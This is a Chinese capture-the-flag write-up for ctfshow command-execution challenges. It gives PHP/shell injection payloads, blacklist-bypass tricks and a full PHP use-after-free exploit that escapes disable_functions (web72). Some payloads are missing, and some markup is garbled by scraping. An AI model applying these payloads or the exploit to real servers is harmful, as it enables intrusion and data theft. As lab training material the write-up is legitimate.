ctfshow web入门之命令执行

前提

一般可用函数:

system(),echo``,exec(),passthru()

web29

基本没有什么过滤,直接做就行

web30

过滤system函数,可以用echo``形式;

payload:

echo`tac f*`;

web31

增加了过滤内容,空格被过滤我们可以用以下字符绕过

< 、<>、%20(space)、%09(tab)、$IFS$9、 I F S 、 {IFS}、 IFSIFS等

payload

echo`tac%09f*`;
可以使用逃逸//1不属于C的关键子字,直接执行命令
?c=eval($_GET[1]);&1=system('cat f*');

web32

过滤字符

/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i

还是用上一题的方法,逃逸一个1字符;/有点类似于文件包含,通过filter为协议读flag

这里过滤了;,PHP最后一条语句是不需要;的,可以?>代替;过滤了空格照常绕过即可;

payload

?c=include%09$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

web33

过滤字符

("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i

上一题的方法仍然适用;

include可以用 require替换

web34

过滤了括号,分号;基本上只能使用语言结构像echo;include;require;

同上了

web35

过滤了左尖括号,对我们没有影响,继续嗦

web36

过滤了数字,把要逃逸的1改为任意字母即可

web37

包含了c的参数,直接使用$_GET是无用的,c的参数被当作字符串进行解析;

所以我们这里用data伪协议

payload:

?c=data://text/plain,

web38

过滤了php时我们换一种方式写,利用短标签的形式写

web39

同上,即使有后缀我们也是前面的先执行

web40

提示payload:

?c=show_source(next(array_reverse(scandir(pos(localeconv())))));
  1. localeconv():返回一包含本地数字及货币格式信息的数组。其中数组中的第一个为点号(.)
  2. pos():返回数组中当前元素的值
  3. scandir():获取目录下的文件
  4. array_reverse():将数组逆序排列
  5. next():函数将内部指针指向下一元素,并输出
  6. show_source()函数对文件进行语法高亮显示,是highlight_file()别名。
  7. print_r(scandir(‘.’)); 查看当前目录下的所有文件名
  8. current() 函数返回数组中的当前元素(单元),默认取第一个值,pos是current的别名

第二个payload:

?c=eval(array_pop(next(get_defined_vars())));

通过get_defined_vars()拿到所有元素,再用next找到我们要利用的点,array_pop获取,通过post传参即可

web41

运算构造任意字符的ascii值(这里特意留下了或运算符的原因),用羽师傅的脚本跑了;

web42

system($c." >/dev/null 2>&1")

把返回内容丢掉了,2代表错误输出,1代表标准输出,把2绑定到1

双写绕过;

;	//分号               t
|	//只执行后面那条命令  f
||	//只执行前面那条命令  t
&	//两条命令都会执行    f
&&	//两条命令都会执行    f

web43,44

payload:

?c=tac f*||ls //上面有测试结果

web45

payload:

?c=tac%09f*||ls

web46,47,48,49

payload:

?c=tac%09fla?.php||ls
%09不属于数字

web50

?c=nl

两个单引号分割字符串,中间会自动忽略

nl->带行号读取,不支持通配符

web51

同50第一payload

web52

根目录下为真flag

payload1:
?c=cp${IFS}/fla?${IFS}a.txt||ls  复制到a.txt
?c=nl${IFS}a.txt||ls        直接访问a.txt也行
payload2:
?c=nl${IFS}/fla''g||ls

web53

flag在flag.php中

?c=nl${IFS}fla''g.php
?c=cp${IFS}fla''g.php${IFS}a.txt
访问a.txt

web54

换了一种过滤方式,我们还可以使用mv命令

?c=mv${IFS}fla?.php${IFS}a.txt
重命名后访问即可

web55

(1)/bin目录

bin为binary的简写主要放置一些 系统的必备执行档例如:cat、cp、chmod df、dmesg、gzip、kill、ls、mkdir、more、mount、rm、su、tar、base64等
这里我们可以利用 base64 中的64 进行通配符匹配 即 /bin/base64 flag.php

?c=/???/????64 ????.???

(2) /ussr/bin目录

主要放置一些应用软件工具的必备执行档例如c++、g++、gcc、chdrv、diff、dig、du、eject、elm、free、gnome*、zip、htpasswd、kfm、ktop、last、less、locale、m4、make、man、mcopy、ncftp、newaliases、nslookup passwd、quota、smb*、wget等。
可以利用/usr/bin下的bzip2 意思就是说我们先将flag.php文件进行压缩,然后再将其下载

?c=/???/???/????2 ????.???
/flag.php.bz2

(3)

我们可以发送一个上传文件的POST包,此时PHP会将我们上传的文件保存在临时文件夹下,默认的文件名是/tmp/phpXXXXXX,文件名最后6个字符是随机的大小写字母。[@-[]可以用来通配表示大写字母,过滤掉干扰文件,最后一位一般为大写,而在linux系统下.是可以用来执行任意脚本文件的,利用这两点,我们可以构造payload

?c=.%20/???/???[@-[]

文件内容以 #!/bin/sh 开头

下带我们要执行的命令

DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>POST数据包POCtitle>
head>
<body>
<form action="http://cfe00e5c-379f-4958-a666-7b5ce9bcc58f.challenge.ctf.show/" method="post" enctype="multipart/form-data">
    
    <label for="file">文件名:label>
    <input type="file" name="file" id="file"><br>
    <input type="submit" name="submit" value="提交">
form>
body>
html>

//无字母getshell

web56

同55

web57

由过滤字符,我们的思路是构造一个36

echo $(()) //运算符
0
echo ~$(())
~0
echo $((~$(())))
-1
echo $((~$(($((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(()))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))))))
-36取反得到35
再增加一个
$((~$(($((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))))))

web58

传参方式改为了post,

payload:

c=show_source(next(array_reverse(scandir(pos(localeconv())))));
也可以用更简单的形式show_source('flag.php');
前提是要知道有一个flag.php的文件

也可以文件读取

c=echo file_get_contents('flag.php');

web59,60,61,62,63,64,65

同58第一,过滤了file_get_contents

也能用include

c=include($_GET[1]);
?1=php://filter/convert.base64-encode/resource=flag.php
or
c=include('flag.php');echo $flag;
or
c=include('flag.php');var_dump(get_defined_vars());

web66,67

过滤了show_source

c=var_dump(scandir(‘/’));找一下本题文件名称和位置

c=highlight_file(‘/flag.txt’);读取\

web68,69,70

payload:

c=include('/flag.txt');

没有php标签,作为html直接进行输出

web71

error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
        $s = ob_get_contents();
        ob_end_clean();
        echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
    highlight_file(__FILE__);
}

?>

附件拿到源码,看到我们的命令行执行了但缓冲区被清除替换,我们看不到原本执行的内容,在include后面加上退出命令即可;

payload:

c=include('/flag.txt');exit;

web72

我们包含读取文件目录都被open_basedir给限制了,采用glob绕过

c=$a = "glob:///*.txt";
        if ( $b = opendir($a) ) {
                while ( ($file = readdir($b)) !== false ) {
                        echo "filename:".$file."\n";
                }
                closedir($b);
        }
exit();

查找到文件名;

直接包含是不可用的,所以要通过脚本来绕过安全目录;主要利用了一个垃圾回收的思路;



function ctfshow($cmd) {
    global $abc, $helper, $backtrace;

    class Vuln {
        public $a;
        public function __destruct() { 
            global $backtrace; 
            unset($this->a);
            $backtrace = (new Exception)->getTrace();
            if(!isset($backtrace[1]['args'])) {
                $backtrace = debug_backtrace();
            }
        }
    }

    class Helper {
        public $a, $b, $c, $d;
    }

    function str2ptr(&$str, $p = 0, $s = 8) {
        $address = 0;
        for($j = $s-1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($str[$p+$j]);
        }
        return $address;
    }

    function ptr2str($ptr, $m = 8) {
        $out = "";
        for ($i=0; $i < $m; $i++) {
            $out .= sprintf("%c",($ptr & 0xff));
            $ptr >>= 8;
        }
        return $out;
    }

    function write(&$str, $p, $v, $n = 8) {
        $i = 0;
        for($i = 0; $i < $n; $i++) {
            $str[$p + $i] = sprintf("%c",($v & 0xff));
            $v >>= 8;
        }
    }

    function leak($addr, $p = 0, $s = 8) {
        global $abc, $helper;
        write($abc, 0x68, $addr + $p - 0x10);
        $leak = strlen($helper->a);
        if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
        return $leak;
    }

    function parse_elf($base) {
        $e_type = leak($base, 0x10, 2);

        $e_phoff = leak($base, 0x20);
        $e_phentsize = leak($base, 0x36, 2);
        $e_phnum = leak($base, 0x38, 2);

        for($i = 0; $i < $e_phnum; $i++) {
            $header = $base + $e_phoff + $i * $e_phentsize;
            $p_type  = leak($header, 0, 4);
            $p_flags = leak($header, 4, 4);
            $p_vaddr = leak($header, 0x10);
            $p_memsz = leak($header, 0x28);

            if($p_type == 1 && $p_flags == 6) { 

                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                $data_size = $p_memsz;
            } else if($p_type == 1 && $p_flags == 5) { 
                $text_size = $p_memsz;
            }
        }

        if(!$data_addr || !$text_size || !$data_size)
            return false;

        return [$data_addr, $text_size, $data_size];
    }

    function get_basic_funcs($base, $elf) {
        list($data_addr, $text_size, $data_size) = $elf;
        for($i = 0; $i < $data_size / 8; $i++) {
            $leak = leak($data_addr, $i * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                
                if($deref != 0x746e6174736e6f63)
                    continue;
            } else continue;

            $leak = leak($data_addr, ($i + 4) * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                
                if($deref != 0x786568326e6962)
                    continue;
            } else continue;

            return $data_addr + $i * 8;
        }
    }

    function get_binary_base($binary_leak) {
        $base = 0;
        $start = $binary_leak & 0xfffffffffffff000;
        for($i = 0; $i < 0x1000; $i++) {
            $addr = $start - 0x1000 * $i;
            $leak = leak($addr, 0, 7);
            if($leak == 0x10102464c457f) {
                return $addr;
            }
        }
    }

    function get_system($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = leak($addr);
            $f_name = leak($f_entry, 0, 6);

            if($f_name == 0x6d6574737973) {
                return leak($addr + 8);
            }
            $addr += 0x20;
        } while($f_entry != 0);
        return false;
    }

    function trigger_uaf($arg) {

        $arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
        $vuln = new Vuln();
        $vuln->a = $arg;
    }

    if(stristr(PHP_OS, 'WIN')) {
        die('This PoC is for *nix systems only.');
    }

    $n_alloc = 10; 
    $contiguous = [];
    for($i = 0; $i < $n_alloc; $i++)
        $contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');

    trigger_uaf('x');
    $abc = $backtrace[1]['args'][0];

    $helper = new Helper;
    $helper->b = function ($x) { };

    if(strlen($abc) == 79 || strlen($abc) == 0) {
        die("UAF failed");
    }

    $closure_handlers = str2ptr($abc, 0);
    $php_heap = str2ptr($abc, 0x58);
    $abc_addr = $php_heap - 0xc8;

    write($abc, 0x60, 2);
    write($abc, 0x70, 6);

    write($abc, 0x10, $abc_addr + 0x60);
    write($abc, 0x18, 0xa);

    $closure_obj = str2ptr($abc, 0x20);

    $binary_leak = leak($closure_handlers, 8);
    if(!($base = get_binary_base($binary_leak))) {
        die("Couldn't determine binary base address");
    }

    if(!($elf = parse_elf($base))) {
        die("Couldn't parse ELF header");
    }

    if(!($basic_funcs = get_basic_funcs($base, $elf))) {
        die("Couldn't get basic_functions address");
    }

    if(!($zif_system = get_system($basic_funcs))) {
        die("Couldn't get zif_system address");
    }


    $fake_obj_offset = 0xd0;
    for($i = 0; $i < 0x110; $i += 8) {
        write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
    }

    write($abc, 0x20, $abc_addr + $fake_obj_offset);
    write($abc, 0xd0 + 0x38, 1, 4); 
    write($abc, 0xd0 + 0x68, $zif_system); 

    ($helper->b)($cmd);
    exit();
}

ctfshow("cat /flag0.txt");ob_end_flush();
?>
//需要url编码

web73,74

上一题的思路已经不能用了,我们可以使用php原生类来做题;

先DirectoryIterator获取目录,再SplFileObject读取文件;

c=$a=new DirectoryIterator("glob:///*");foreach($a as $f){ echo $f ; }echo "
" ;exit; c=$a=new SplFileObject("/flagc.txt");foreach($a as $f){ echo $f; }echo "
";exit();

web75,76

我们仍可以用上一题方法读到文件名;但读不出来数据,直接包含也不行;

这里要通过数据库来读取该文件,前提是我们要知道数据库的信息

通过sql语句绕过open_basedir和disable_function

c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root','root');foreach($dbh->query('select load_file("/flag36.txt")') as $row){echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e->getMessage();exit(0);}exit(0);

pdo操作可以看这篇文章

web77

两个文件flag36x.txt和readflag,我们要通过执行readflag的脚本来拿到flag

php7.4的特性可以利用ffi函数接口

FFI(Foreign Function Interface),即外部函数接口,允许从用户区调用C代码。当PHP所有的命令执行函数被禁用后,通过PHP 7.4的新特性FFI可以实现用PHP代码调用C代码的方式,先声明C中的命令执行函数,然后再通过FFI变量调用该C函数即可Bypass disable_functions。

payload: 查文件还是利用原生类即可;

c=$ffi = FFI::cdef("int system(const char *command);");
$a="/readflag >/var/www/html/1.txt"; //在这里修改命令
$ffi->system($a);
exit();

web118

利用linux的内置变量构造我们的命令

https://www.w3school.com.cn/php/php_ref_math.asp

;system($code)

${PATH}环境变量 /bin

${PWD}当前目录 /var/www/html

我们可以使用${PATH:~0}得到环境变量的最后一位字符n,数字可以由字母替代

可以使用切片取得返回的字母 例:${PWD:0:1}

payload:

这里数字不可用

${PATH:~A}${PWD:~A}$IFS????.???

web119

看了看别的师傅写的

PHP_CFLAGS=-fstack-protector-strong # 通过前面的题配置文件获得获得

PHP_VERSION=7.3.22 # php版本

SHLVL 是记录多个 Bash 进程实例嵌套深度的累加器,进程第一次打开shell时${SHLVL}=1,然后在此shell中再打开一个shell时${SHLVL}=2
payload1:

${PWD:${#}:${#SHLVL}}???${PWD:${#}:${#SHLVL}}?${USER:~${PHP_VERSION:~A}:${PHP_VERSION:~A}} ????.???
# pwd=/var/www/html
# ${#}是0,${SHLVL}为1
# USER=www-data
# payload即为 /???/?at ????.???   即/bin/cat flag.php

payload2:

${PHP_CFLAGS:${PHP_VERSION:${PHP_VERSION:~A}:~${SHLVL}}:${PHP_VERSION:${PHP_VERSION:~A}:~${SHLVL}}} ????.???
# PHP_CFLAGS=PHP_CFLAGS=-fstack-protector-strong
# PHP_VERSION=7.3.22
# ${PHP_VERSION:${PHP_VERSION:~A}:~${SHLVL}}是3
# tac flag.txt

web120


error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){
    $code=$_POST['code'];
    if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|PATH|BASH|HOME|\/|\(|\)|\[|\]|\\\\|\+|\-|\!|\=|\^|\*|\x26|\%|\<|\>|\'|\"|\`|\||\,/', $code)){    
        if(strlen($code)>65){
            echo '
'.'you are so long , I dont like '.'
'
; } else{ echo '
'.system($code).'
'
; } } else{ echo '
evil input
'
; } } ?>

对我们payload的长度进行了限制;

code=${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?????${#RANDOM} ????.???
/bin/base64 flag.php
${#RANDOM}取返回随机数的长度,多试几次能够得到4

code=${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?${USER:~A}? ????.???
/bin/?a? flag.php

web121

重新拿一个1

code=${PWD::${#?}}???${PWD::${#?}}?????${#RANDOM} ????.???
$?为上一次运行结果,正常为0非正常为0以为外的数;但长度为1

${PWD::${#?}}???${PWD::${#?}}${PWD:${#IFS}:${#?}}?? ????.???
/bin/rev

web122

hint:fuzz

过滤了pwd和#

我们改用HOME 替代PWD

${}的报错在本地返回时1,但是题目的报错环境是2,所以放开了<

payload:

code=

web124

error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
    show_source(__FILE__);
}else{
    //例子 c=20-1
    $content = $_GET['c'];
    if (strlen($content) >= 80) {
        die("太长了不会算");
    }
    $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
    foreach ($blacklist as $blackitem) {
        if (preg_match('/' . $blackitem . '/m', $content)) {
            die("请不要输入奇奇怪怪的字符");
        }
    }
    //常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
    $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
    preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);  
    foreach ($used_funcs[0] as $func) {
        if (!in_array($func, $whitelist)) {
            die("请不要输入奇奇怪怪的函数");
        }
    }
    //帮你算出答案
    eval('echo '.$content.';');
} 

源码中有长度限制,以及我们可以利用的函数;

base_convert() 函数在任意进制之间转换数字
decbin() 函数把十进制转换为二进制
bindec() 把二进制转换为十进制
dechex() 把十进制转换为十六进制
decoct() 把十进制转换为八进制
hex2bin() 把十六进制值转换为 ASCII 字符

主要思路为动态函数调用

需要构造 G E T [ a b s ] ( _GET[abs]( GET[abs](_GET[acos])的形式

利用进制转换进行构造;

_GET十进制表示为1598506324;16进制为5f474554;字母是非法的。我们可以利用dechex(1598506324)转换为16进制

hex2bin()是非法的;我们需要通过base_convert()进行转换得到hex2bin();

base_convert(37907361743,10,36) //转换得到hex2bin

所以我们构造得到_GET为

base_convert(37907361743,10,36)(dechex(1598506324))

令变量$pi=base_convert(‘37907361743’,10,36)(dechex(1598506324))

则我们$$pi得到 $_GET

同样利用动态函数调用

$$pi{abs}($$pi{acos});
传入&abs=system&acos=ls得到system(ls);从而执行我们的命令

最终payload:

?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{abs}($$pi{acos});&abs=system&acos=tac flag.php

你可能感兴趣的:(php,开发语言)